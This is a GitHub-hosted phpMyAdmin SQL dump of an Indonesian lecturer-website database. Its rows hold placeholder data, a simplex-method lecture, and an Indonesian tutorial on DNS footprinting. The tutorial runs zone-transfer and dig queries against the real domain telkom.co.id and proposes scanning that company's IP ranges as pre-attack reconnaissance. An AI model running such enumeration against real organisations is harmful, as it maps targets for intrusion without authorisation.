-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpersonal_dosen.sql
367 lines (312 loc) · 89.6 KB
/
personal_dosen.sql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
-- phpMyAdmin SQL Dump
-- version 3.4.5
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Waktu pembuatan: 21. Desember 2012 jam 12:32
-- Versi Server: 5.5.16
-- Versi PHP: 5.3.8
SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
--
-- Database: `personal_dosen`
--
-- --------------------------------------------------------
--
-- Struktur dari tabel `materi`
--
CREATE TABLE IF NOT EXISTS `materi` (
`id_materi` int(11) NOT NULL AUTO_INCREMENT,
`nama` varchar(100) NOT NULL,
`jenis` varchar(100) NOT NULL,
`kategori` varchar(100) NOT NULL,
`file` varchar(100) NOT NULL,
`url` varchar(100) NOT NULL,
`keterangan` text NOT NULL,
`pemilik_materi` varchar(100) NOT NULL,
`createddate` datetime NOT NULL,
`lastupdatedate` datetime NOT NULL,
PRIMARY KEY (`id_materi`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;
--
-- Dumping data untuk tabel `materi`
--
INSERT INTO `materi` (`id_materi`, `nama`, `jenis`, `kategori`, `file`, `url`, `keterangan`, `pemilik_materi`, `createddate`, `lastupdatedate`) VALUES
(1, 'Mendesign menggunakan Photoshop', 'Materi Kuliah', 'Kuliah', 'manual-web-personal-dosen.pdf', 'http://www.materi.com', 'Mendesign menggunakan Photoshop', 'gelby', '2012-11-06 00:56:12', '2012-11-07 01:02:29'),
(2, 'eeeeeeeeeeeeeee', 'eeeeeeeeeeeee', 'eeeeeeeeeeeee', '', 'eeeeeeeeeeeeee', 'eeeeeeeeeeeeeeeeeeee', 'eni', '2012-11-07 01:01:21', '0000-00-00 00:00:00');
-- --------------------------------------------------------
--
-- Struktur dari tabel `penelitian`
--
CREATE TABLE IF NOT EXISTS `penelitian` (
`id_penelitian` int(11) NOT NULL AUTO_INCREMENT,
`judul` varchar(250) NOT NULL,
`kategori` varchar(100) NOT NULL,
`penulis` varchar(100) NOT NULL,
`abstraksi` text NOT NULL,
`keyword` varchar(250) NOT NULL,
`file` varchar(100) NOT NULL,
`cover` varchar(100) NOT NULL,
`createddate` datetime NOT NULL,
`lastupdatedate` datetime NOT NULL,
`pemilik_penelitian` varchar(100) NOT NULL,
PRIMARY KEY (`id_penelitian`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;
--
-- Dumping data untuk tabel `penelitian`
--
INSERT INTO `penelitian` (`id_penelitian`, `judul`, `kategori`, `penulis`, `abstraksi`, `keyword`, `file`, `cover`, `createddate`, `lastupdatedate`, `pemilik_penelitian`) VALUES
(1, 'Interogasi DNS – melihat mesin di domain sasaran', 'Kuliah', 'Onno W. Purbo', '<p style="text-align: justify;">Sesudah melakukan network enumeration menggunakan perintah “whois” langkah selanjutnya yang akan banyak membantu mengidentifikasi semua domain yang berada di bawah organisasi sasaran adalah dengan mengambil infomrasi Domain Name System (DNS). DNS pada dasarnya sebuah basisdata yang terdistribusi yang melakukan pemetaan antara alamat IP dengan nama domain & sebaliknya.</p>\r\n<p style="text-align: justify;">Jika DNS tidak dikonfigurasi dengan baik (aman), maka akan sangat mungkin untuk melihat informasi tentang organisasi di dalamnya. Salah satu kesalahan paling fatal yang sering dilakukan oleh sistem administrator adalah mengijinkan pengguna internet yang tidak bisa dipercaya untuk melakukan zone transfer.</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">Zone transfer adalah fasilitas di DNS untuk mentransfer seluruh informasi tentang domain yang akan menjadi sasaran tembak. Jika anda berhasil memperoleh informasi seluruh domain tersebut, beberapa informasi yang akan membantu anda adalah entry:</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> HINFO – yang memberikan informasi tentang mesin yang digunakan.</p>\r\n<p style="text-align: justify;"> MX – mesin perantara yang menerima e-mail untuk domain tersebut.</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">Selain beberapa informasi lainnya tentang pemetaan alamat IP dengan hostname.</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">Salah satu cara yang mungkin agak mudah untuk melakukan zone transfer, pada masa lalu, bisa dilakukan dengan mudah menggunakan perangkat lunak nslookup dengan perintah ls. Hanya saja, nslookup yang ada pada saat ini biasanya sudah tidak lagi dilengkapi dengan perintah ls, karena sering di salahgunakan untuk melakukan zone transfer yang diperlukan pada saat melalukan footprinting sebelum serangan di lakukan.</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">Alternatif lain yang dapat digunakan adalah menggunakan software dig & host. Sebagai contoh, dibawah ini adalah hasil interogasi DNS dari domain telkom.co.id mengunakan perintah host –l –v –t any.</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">[root@gate onno]# host -l -v -t any telkom.co.id</p>\r\n<p style="text-align: justify;">Trying "telkom.co.id."</p>\r\n<p style="text-align: justify;">;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40309</p>\r\n<p style="text-align: justify;">;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 3, ADDITIONAL: 5</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">;; QUESTION SECTION:</p>\r\n<p style="text-align: justify;">;telkom.co.id. IN ANY</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">;; ANSWER SECTION:</p>\r\n<p style="text-align: justify;">telkom.co.id. 65237 IN MX 5 in-mta1.telkom.co.id.</p>\r\n<p style="text-align: justify;">telkom.co.id. 65237 IN MX 10 in-mta2.telkom.co.id.</p>\r\n<p style="text-align: justify;">telkom.co.id. 61859 IN A 202.134.2.15</p>\r\n<p style="text-align: justify;">telkom.co.id. 79371 IN NS ns3.telkom.co.id.</p>\r\n<p style="text-align: justify;">telkom.co.id. 79371 IN NS ns1.telkom.co.id.</p>\r\n<p style="text-align: justify;">telkom.co.id. 79371 IN NS ns2.telkom.co.id.</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">;; AUTHORITY SECTION:</p>\r\n<p style="text-align: justify;">telkom.co.id. 79371 IN NS ns3.telkom.co.id.</p>\r\n<p style="text-align: justify;">telkom.co.id. 79371 IN NS ns1.telkom.co.id.</p>\r\n<p style="text-align: justify;">telkom.co.id. 79371 IN NS ns2.telkom.co.id.</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">;; ADDITIONAL SECTION:</p>\r\n<p style="text-align: justify;">in-mta1.telkom.co.id. 65237 IN A 202.134.0.196</p>\r\n<p style="text-align: justify;">in-mta2.telkom.co.id. 65237 IN A 202.134.0.197</p>\r\n<p style="text-align: justify;">ns1.telkom.co.id. 79371 IN A 202.134.0.155</p>\r\n<p style="text-align: justify;">ns2.telkom.co.id. 79371 IN A 202.134.2.5</p>\r\n<p style="text-align: justify;">ns3.telkom.co.id. 79371 IN A 202.134.1.10</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">Received 270 bytes from 202.159.33.2#53 in 883 ms</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">Atau kalau anda ingin men-safe hasil interogasi-nya ke dalam file agar memudahkan untuk mengevaluasi dikemudian hari, dapat di redirect menggunakan perintah ></p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">[root@gate onno]# host -l -v -t any telkom.co.id > zone_telkom.co.id</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">Kebetulan tidak banyak informasi yang dapat diperoleh dari hasil query tentang telkom.co.id. Ada beberapa entry MX, NS & A yang diperoleh dari query DNS telkom.co.id. Beberapa inti informasi tersebut adalah:</p>\r\n<p style="text-align: justify;"> </p>\r\n<ul style="text-align: justify;">\r\n<li>MX berisi informasi tentang Mail Exchange, tempat e-mail dikirim ke domain tersebut.</li>\r\n<li>NS berisi informasi tentang mesin yang berfungsi membawa semua informasi DNS domain telkom.co.id.</li>\r\n<li>A adalah alamat IP dari mesin yang dimaksud.</li>\r\n</ul>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">Dengan minimalnya informasi, paling tidak yang kita ketahui bahwa:</p>\r\n<p style="text-align: justify;"> </p>\r\n<ul style="text-align: justify;">\r\n<li>ada dua (2) mesin utama yang berfungsi sebagai MX untuk domain telkom.co.id yaitu in-mta1.telkom.co.id & in-mta2.telkom.co.id.</li>\r\n<li>Tampaknya mesin-mesin utama telkom.co.id berada di alamat IP keluarga 20.134.0.x.</li>\r\n<li>Tampaknya keluarga 202.134.1.x & 202.134.2.x juga perlu di evaluasi karena ada beberapa mesin penting di sana.</li>\r\n<li>Tidak ada informasi HINFO, jadi kita tidak bisa melihat secara langsung mesin / sistem operasi apa yang digunakan oleh Telkom.</li>\r\n</ul>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">Mungkin akan menarik jika kita scan / petakan semua mesin yang berada di alamat IP 202.134.0.x s/d 202.134.2.x karena akan memperlihatkan semua mesin penting yang akan mendukung kerja telkom.co.id termasuk anak-anak perusahaannya; kemungkinan besar termasuk telkom.net.id, plasa.com dll.</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">Jika kita ingin melihat alamat IP yang spesifik dapat juga dilakukan menggunakan program host / dig, sebagai contoh disini diperlihatkan pada saat melakukan query tentang <a href="http://www.telkom.co.id/">www.telkom.co.id</a> melalui perintah dig.</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">[root@gate onno]# dig www.telkom.co.id</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">; <<>> DiG 9.1.1 <<>> www.telkom.co.id</p>\r\n<p style="text-align: justify;">;; global options: printcmd</p>\r\n<p style="text-align: justify;">;; Got answer:</p>\r\n<p style="text-align: justify;">;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36787</p>\r\n<p style="text-align: justify;">;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 3</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">;; QUESTION SECTION:</p>\r\n<p style="text-align: justify;">;www.telkom.co.id. IN A</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">;; ANSWER SECTION:</p>\r\n<p style="text-align: justify;">www.telkom.co.id. 39899 IN A 202.134.2.15</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">;; AUTHORITY SECTION:</p>\r\n<p style="text-align: justify;">telkom.co.id. 79239 IN NS ns2.telkom.co.id.</p>\r\n<p style="text-align: justify;">telkom.co.id. 79239 IN NS ns3.telkom.co.id.</p>\r\n<p style="text-align: justify;">telkom.co.id. 79239 IN NS ns1.telkom.co.id.</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">;; ADDITIONAL SECTION:</p>\r\n<p style="text-align: justify;">ns1.telkom.co.id. 79239 IN A 202.134.0.155</p>\r\n<p style="text-align: justify;">ns2.telkom.co.id. 79239 IN A 202.134.2.5</p>\r\n<p style="text-align: justify;">ns3.telkom.co.id. 79239 IN A 202.134.1.10</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">;; Query time: 303 msec</p>\r\n<p style="text-align: justify;">;; SERVER: 202.159.33.2#53(202.159.33.2)</p>\r\n<p style="text-align: justify;">;; WHEN: Fri Aug 10 08:07:42 2001</p>\r\n<p style="text-align: justify;">;; MSG SIZE rcvd: 152</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">Dari informasi ini diperoleh informasi bahwa <a href="http://www.telkom.co.id/">www.telkom.co.id</a> berada dalam daerah alamat IP 202.134.2.x, jadi betul prediksi di atas bahwa mesin-mesin di daerah 202.134.0.x s/d 202.134.2.x akan membawa beberapa mesin penting untuk operasional telkom.co.id & berbagai anak perusahaan di bawahnya.</p>', 'Kuliah', 'proposal VB.docx', 'CaraMembuatEmoticonKaskusDiKotakKomentar.gif', '2012-11-06 02:44:50', '2012-11-16 12:11:21', 'gelby'),
(2, 'METODE dan TABEL SIMPLEX', 'DSS Expert System', 'Eni Hariati', '<p>Mengubah bentuk baku model LP ke dalam bentuk tabel akan memudahkan proses<br />perhitungan simplex. Langkah-langkah perhitungan dalam algoritma simplex adalah :<br />1. Berdasarkan bentuk baku, tentukan solusi awal (initial basic feaseble solution)<br />dengan menetapkan m – n variabel non basis sama dengan nol.<br />2. Pilih sebuah entering variable diantara yang sedang menjadi variabel non basis,<br />yang jika dinaikkan diatas nol, dapat memperbaiki nilai fungsi tujuan. Jika tidak<br />ada, berhenti, berarti solusi sudah optimal. Jika tidak, melangkah ke langkah 3.<br />3. Pilih sebuah leaving variable diantara yang sedang menjadi variabel basis yang<br />harus menjadi non basis (nilainya menjadi nol) ketika entering variable menjadi<br />variabel basis.<br />4. Tentukan solusi yang baru dengan membuat entering variable dan leaving<br />variable menjadi non basis. Kembali ke langkah 2.<br />Contoh :<br />Maksimumkan Z = 3X1 + 2X2<br />dengan syarat : X1 + X2 ≤ 15<br />2X1 + X2 ≤ 28<br />X1 + 2X2 ≤ 20<br />X1 , X2 ≥ 0<br />Bentuk baku model LP diatas adalah :<br />Z - 3X1 - 2X2 - 0S1 - 0S2 - 0S3 = 0 Persamaan tujuan<br />X1 + X2 + S1 = 15<br />2X1 + X2 + S2 = 28 Persamaan kendala<br />X1 + 2X2 + S3 = 20<br />Lihat kembali langkah nomor 1, solusi awal ditentukan dari persamaan kendala<br />dengan menetapkan 2 (dua) (= 5 – 3) variabel sama dengan nol, yang akan<br />memberikan solusi yang unik dan layak. Dengan menetapkan X1 = 0 dan X2 = 0,<br />diperoleh S1 = 15, S2 = 28, S3 = 20. Pada saat ini nilai Z = 0, kita dapat merangkum<br />informasi diatas ke dalam bentuk tabel simplex awal seperti berikut :<br />Tabel Simplex Awal<br />basis Z X1 X2 S1 S2 S3 NK<br />Z 1 -3 -2 0 0 0 0 è fungsi tujuan Z<br />S1 0 1 1 1 0 0 15 è persamaan const. 1<br />S2 0 2 1 0 1 0 28 è persamaan const. 2<br />S3 0 1 2 0 0 1 20 è persamaan const. 3<br />NK (nilai kanan) adalah solusi dari permasalahan<br />Informasi pada tabel dibaca seperti berikut :<br />· Kolom basis menunjukkan variabel yang sedang menjadi basis yaitu S1, S2, S3,<br />yang nilainya diberikan pada kolom solusi (NK).<br />· Secara tidak langsung mengatakan bahwa variabel non basis X1 dan X2 (yang tidak<br />ditunjukkan pada kolom basis) sama dengan nol.<br />· Nilai fungsi tujuan adalah Z - ((3 x 0) + (2 x 0) + (0 x 15) + (0 x 28) + (0 x 20)) = 0,<br />seperti terlihat pada kolom NK.<br />Kapan solusi telah optimum ?<br />á Dengan memeriksa persamaan Z, terlihat bahwa variabel non basis yaitu X1 dan X2<br />, keduanya memiliki koefisien negatif, yang berarti mempunyai koefisien negatif<br />pada fungsi tujuan yang asli.<br />á Karena tujuan kita adalah masalah maksimasi, maka nilai Z dapat diperbaiki dengan<br />meningkatkan X1 dan X2 menjadi lebih besar dari nol. Yang diutamakan untuk dipilih<br />adalah variabel yang memiliki nilai negatif terbesar.<br />á Ringkasnya, optimality condition metode simplex menyatakan bahwa dalam kasus<br />maksimasi, jika variabel non basis memiliki koefisien non negatif pada persamaan<br />Z, maka solusi optimum telah tercapai. Jika tidak, variabel non basis dengan<br />koefisien negatif terbesar dipilih sebagai entering variabel.<br />Penerapan optimality condition pada tabel simplex awal contoh diatas adalah :<br />ÿ Pilih X1 sebagai entering variabel. Kemudian leaving variabel harus salah satu dari<br />variabel basis S1 , S2 , S3.<br />ÿ Penentuan leaving variabel dilakukan dengan menggunakan feasibility condition<br />yang menyatakan bahwa untuk masalah maksimasi maupun minimasi, leaving<br />variabel adalah variabel basis yang memiliki rasio terkecil antara sisi kanan (NK)<br />persamaan kendala dengan koefisien bersangkutan yang positip pada entering<br />variabel.<br />ÿ Rasio dalam tabel simplex dapat dicari dengan cara :<br />1. Coret semua elemen pada persamaan kendala dibawah entering variabel.<br />2. Tidak termasuk persamaan tujuan, buat rasio antara sisi kanan dengan elemen<br />yang dicoret dibawah entering variabel.<br />3. Leaving variabel adalah variabel basis yang memiliki rasio terkecil.<br />4. Kolom pada entering variabel dinamakan entering coulumn dan variabel basis<br />yang berhubungan dengan leaving variabel dinamakan pivot equation.<br />5. Elemen pada perpotongan entering coulumn dengan pivot equation dinamakan<br />pivot elemen.<br />basis Z X1 X2 S1 S2 S3 NK Rasio<br />Z 1 -3 -2 0 0 0 0<br />S1 0 1 1 1 0 0 15 15 : 1 = 15<br />S2 0 2 1 0 1 0 28 28 : 2 = 14<br />S3 0 1 2 0 0 1 20 20 : 1 = 20<br />Kolom X1 adalah entering kolom dan persamaan S2 adalah pivot equation<br />New Basic Solution ditentukan dengan menerapkan metode Gauss Jordan melalui<br />perhitungan berikut :<br />1. new pivot equation = old pivot equation : pivot element<br />2. untuk semua persamaan yang lain termasuk persamaan Z<br />new equation = old equation – (entering colomn coef. x new pivot equation)<br />Perhitungan pertama menghasilkan pivot elemen sama dengan 1 pada pivot equation<br />yang baru, seperti ditunjukkan pada tabel berikut :<br />basis Z X1 X2 S1 S2 S3 NK<br />Z<br />S1<br />X1 0 1 1/2 0 1/2 0 14 new pivot eq.<br />S3<br />Perhatikan bahwa kolom solusi menghasilkan nilai baru X1 = 14, yang sama dengan<br />rasio minimum pada feasibility condition. Tabel solusi baru yang diperbaiki dapat dibuat<br />dengan melakukan perhitungan jenis kedua metode Gauss Jordan, kecuali baris X1<br />yang telah menjadi new pivot equation.<br />Untuk basis Z :<br />1 -3 -2 0 0 0 0<br />- 3 ( 0 1 1/2 0 1/2 0 14) -<br />1 0 -1/2 0 3/2 0 42<br />Untuk basis S1 :<br />0 1 1 1 0 0 15<br />1 ( 0 1 1/2 0 1/2 0 14) -<br />0 0 1/2 1 -1/2 0 1<br />Untuk basis S3 :<br />0 1 2 0 0 1 20<br />1 ( 0 1 1/2 0 1/2 0 14) -<br />0 0 3/2 0 -1/2 1 6<br />Tabel baru yang lengkap untuk iterasi pertama adalah sebagai berikut :<br />Tabel Simplex Iterasi I<br />basis Z X1 X2 S1 S2 S3 NK<br />Z 1 0 -1/2 0 3/2 0 42<br />S1 0 0 1/2 1 -1/2 0 1<br />X1 0 1 1/2 0 1/2 0 14<br />S3 0 0 3/2 0 -1/2 1 6<br />Solusi yang baru memberikan nilai X1 = 14 dan X2 = 0. Nilai Z naik dari 0 menjadi 42.<br />Berdasarkan tabel iterasi pertama, solusi tabel belum dapat dinyatakan optimal<br />karena variabel non basis masih memiliki nilai negatif, maka optimality condition<br />memilih X2 sebagai entering variabel karena koefisien pada persamaan Z sebesar -1/2.<br />Feasibility condition menunjukkan bahwa S1 sebagai leaving variabel karena memiliki<br />rasio terkecil (2)<br />basis Z X1 X2 S1 S2 S3 NK Rasio<br />Z 1 0 -1/2 0 3/2 0 42<br />S1 0 0 1/2 1 -1/2 0 1 1 : ½ = 2<br />X1 0 1 1/2 0 1/2 0 14 14 : ½ = 28<br />S3 0 0 3/2 0 -1/2 1 6 6 : 3/2 = 4<br />Kolom X2 adalah entering kolom dan S1 adalah pivot equation<br />Perhitungan pertama menghasilkan pivot elemen : 2 x ½ = 1 pada pivot equation yang<br />baru dan memperbaiki nili fungsi tujuan sebasar 1 (satu) seperti ditunjukkan pada tabel<br />berikut :<br />basis Z X1 X2 S1 S2 S3 NK<br />Z<br />X2 0 0 1 2 -1 0 2 new pivot eq.<br />X1<br />S3<br />Kolom solusi menghasilkan nilai baru X2 = 2, yang sama dengan rasio minimum pada<br />feasibility condition. Tabel solusi baru yang diperbaiki dapat dibuat dengan melakukan<br />perhitungan jenis kedua metode Gauss Jordan, kecuali baris X2 yang telah menjadi<br />new pivot equation.<br />Untuk basis Z :<br />1 0 -1/2 0 3/2 0 42<br />- 1/2 ( 0 0 1 2 -1 0 2) -<br />1 0 0 1 1 0 43<br />Untuk basis X1 :<br />0 1 1/2 0 1/2 0 14<br />1/2 ( 0 0 1 2 -1 0 2) -<br />0 1 0 -1 1 0 13<br />Untuk basis S3 :<br />0 0 3/2 0 -1/2 1 6<br />3/2 ( 0 0 1 2 -1 0 2) -<br />0 0 0 -3 1 1 3<br />Tabel baru yang lengkap untuk iterasi kedua dan merupakan tabel optimum adalah<br />sebagai berikut :<br />Tabel Simplex Iterasi kedua (optimum)<br />basis Z X1 X2 S1 S2 S3 NK<br />Z 1 0 0 1 1 0 43 Optimum<br />X2 0 0 1 2 -1 0 2<br />X1 0 1 0 -1 1 0 13<br />S3 0 0 0 -3 1 1 3<br />Solusi baru memberikan nilai X1 = 13 dan X2 = 2, sedangkan nilai Z = 43, dan ada sisa<br />sumber daya yang ditunjukkan pada kendala (3) tiga. Tabel simplex iterasi kedua dapat<br />dinyatakan optimum karena variabel non basis yang ada pada koefisien fungsi tujuan Z<br />sudah tidak memiliki nilai negatif. Hal ini merupakan perhitungan metode simplex yang<br />lengkap.<br />MASALAH MINIMASI<br />Dalam masalah maksimasi, biasanya memiliki kendala pertidaksamaan jenis ≤.<br />Sekarang akan dijelaskan proses simplex untuk suatu masalah minimasi yang biasanya<br />memiliki kendala pertidaksamaan jenis ≥. Masalah minimasi menggunakan langkahlangkah<br />yang sama seperti pada masalah maksimasi, namun ada beberapa<br />penyesuaian yang harus dibuat. Bagi kendala pertidaksamaan jenis ≤ maka variabel<br />slack ditambahkan untuk menghabiskan sumber daya yang digunakan dalam kendala.<br />Cara ini tidak dapat diterapkan pada kendala pertidaksamaan jenis ≥ dan kendala<br />persamaan (=).<br />Contoh :<br />Minimumkan Z = - 3X1 + X2 + X3<br />dengan syarat : X1 - 2X2 + X3 ≤ 11<br />- 4X1 + X2 + 2X3 ≥ 3<br />2X1 - X3 = -1<br />X1 , X2 , X3 ≥ 0<br />Persamaan pada kendala ke tiga harus dirubah agar memiliki nilai kanan positip<br />dengan cara dikalikan (-1), sehingga menjadi :<br />- 2X1 + X3 = 1<br />Persamaannya berubah menjadi :<br />Minimumkan Z = - 3X1 + X2 + X3<br />dengan syarat : X1 - 2X2 + X3 ≤ 11<br />- 4X1 + X2 + 2X3 ≥ 3<br />- 2X1 + X3 = 1<br />X1 , X2 , X3 ≥ 0<br />Bentuk baku diperoleh dengan menambahkan variabel slack pada kendala pertama,<br />mengurangkan variabel surplus pada kendala kedua. Sehingga diperoleh :<br />Z + 3X1 - X2 - X3 - 0S1 - 0S2 = 0 Persamaan tujuan<br />X1 - 2X2 + X3 + S1 = 11<br />- 4X1 + X2 + 2X3 - S2 = 3 Persamaan kendala<br />- 2X1 + X3 = 1<br />Istilah variabel slack dan variabel surplus adalah berbeda dimana slack ditambahkan<br />dan mencerminkan sumber daya yang tak terpakai, sementara surplus dikurangkan dan<br />menunjukkan suatu kelebihan atas keperluannya, tetapi keduanya diberikan notasi<br />serupa, yaitu S.<br />Kebutuhan utama metode simplex adalah solusi awal layak (initial basic solution).<br />Tanpa ini maka tabel simplex tidak dapat dibuat. Dari masalah diatas, terdapat tiga (3)<br />persamaan dan lima (5) variabel tak diketahui, yang berarti bahwa 2 variabel harus<br />menjadi non basis (nilainya = 0) pada setiap solusi. Tak seperti kasus dimana terdapat<br />variabel slack pada setiap persamaan, disini kita dapat menjamin bahwa dengan<br />menetapkan suatu variabel sama dengan nol, variabel basis yang dihasilkan akan non<br />negatif (berarti diperoleh solusi layak). Ada dua pendekatan untuk mendapatkan suatu<br />solusi awal layak, yaitu :<br />ÿ Coba-coba<br />Disini suatu variabel basis dipilih secara sembarang untuk setiap kendala. Jika<br />dihasilkan suatu solusi layak (nilai variabel basis pada kolom solusi non negatif), maka<br />metode simplex dapat dimulai. Bisa jadi, nilai variabel basis pada kolom solusi adalah<br />negatif, maka solusi yang diperoleh tak layak (melanggar kendala non negatif) dan<br />metode simplex tidak dapat dimulai. Meskipun, coba-coba dapat diulangi lagi sampai<br />diperoleh solusi awal layak, metode ini jelas tidak efisien.<br />ÿ Menggunakan Artifisal Variabel<br />Gagasan menggunakan artifisial variabel sangat sederhana. Tambahkan suatu artifisial<br />variabel pada sisi kiri setiap persamaan variabel basis. Dinamakan variabel artifisial<br />(sebagai lawan dari “real decision variable”) karena ia tidak memiliki arti nyata. Artifisial<br />digunakan hanya untuk memulai penyelesaian dan pada urutan selanjutnya mereka<br />harus dijadikan nol pada solusi akhir, jika tidak, maka solusi yang dihasilkan akan<br />menjadi tak layak.<br />Pada bentuk baku contoh minimasi diatas, variabel slack pada persamaan kendala<br />pertama adalah variabel basis. Karena pada persamaan kedua dan ketiga tidak ada<br />variabel slack (variabel basis), maka perlu ditambahkan variabel artifisial A1 dan A2<br />pada masing-masing kendala tersebut. Untuk tetap menjamin bentuk baku, A1 dan A2<br />dibatasi pada nilai non negatif. Sehingga diperoleh artificial system seperti :<br />X1 - 2X2 + X3 + S1 = 11<br />- 4X1 + X2 + 2X3 - S2 + A1 = 3<br />- 2X1 + X3 + A2 = 1<br />Terdapat 3 persamaan dan 7 bilangan tak diketahui, sehingga solusi awal layak harus<br />memiliki 4 (= 7 – 3) variabel non basis yang sama dengan nol. Jika X1=X2=X3=S2= 0,<br />maka S1 = 11, A1 = 3 dan A2 = 1. Tetapi ini bukan solusi layak karena artifisial variabel<br />benilai positif. Sehingga tujuan kita adalah memaksa artifisial variabel menjadi nol<br />secepat mungkin. Ini dapat dicapai dengan memakai teknik M.<br />METODE SIMPLEX M (BIG – M)<br />Pada pendekatan ini, artifisial variabel dalam fungsi tujuan diberi suatu biaya sangat<br />besar (dalam perhitungan komputer biasanya 3 atau 4 kali besarnya dibanding bilangan<br />lain dalam model). Dalam praktek, huruf M digunakan sebagai biaya dalam masalah<br />minimasi dan –M sebagai keuntungan dalam masalah maksimasi dengan asumsi<br />bahwa M adalah suatu bilangan positif yang besar.<br />Untuk menjelaskan teknik ini, lihat kembali masalah minimasi diatas. Untuk<br />mengarahkan artifisial variabel menjadi nol, suatu biaya yang besar ditempatkan pada<br />A1 dan A2, sehingga fungsi tujuannya menjadi :<br />Minimumkan Z = - 3X1 + X2 + X3 + 0S1 + 0S2 + MA1 + MA2<br />Tabel simplex awal dibentuk dengan S1 , A1 dan A2 sebagai variabel basis seperti pada<br />tabel berikut :<br />Perhatikan koefisien pada persamaan Z dalam masalah minimasi lebih mudah<br />diperoleh dengan menggunakan Inner Product Rule. Aturan ini juga berlaku untuk<br />masalah maksimasi dan akan banyak bermanfaat dalam analisa sensitivitas. Inner<br />Product Rule itu adalah :<br />basis X1 X2 X3 S1 S2 A1 A2 NK<br />Z 3-6M -1+M -1+3M 0 -M 0 0 4M<br />S1 1 -2 1 1 0 0 0 11<br />A1 -4 1 2 0 -1 1 0 3<br />A2 -2 0 1 0 0 0 1 1<br />Cj = (v)(vj) – cj, dimana<br />keterangan :<br />Cj : koefisien variabel j pada persamaan Z<br />v : vektor baris koefisien fungsi tujuan variabel basis<br />vj : vektor kolom elemen dibawah variabel j<br />cj : koefisien variabel j pada fungsi tujuan<br />1<br />CX1 = [0 M M] -4 - (-3) = 3-6M<br />-2<br />-2<br />CX2 = [0 M M] 1 - 1 = -1+M<br />0<br />1<br />CX3 = [0 M M] 2 - 1 = -1+3M<br />1<br />1<br />CS1 = [0 M M] 0 - 0 = 0<br />0<br />0<br />CS2 = [0 M M] -1 - 0 = -M<br />0<br />0<br />CA1 = [0 M M] 1 - M = 0<br />0<br />0<br />CA2 = [0 M M] 0 - M = 0<br />1<br />11<br />CNK = [0 M M] 3 - 0 = 4M<br />1<br />Kemudian perhitungan simplex dapat dimulai dengan penerapan optimality dan<br />feasibility conditian pada tabel 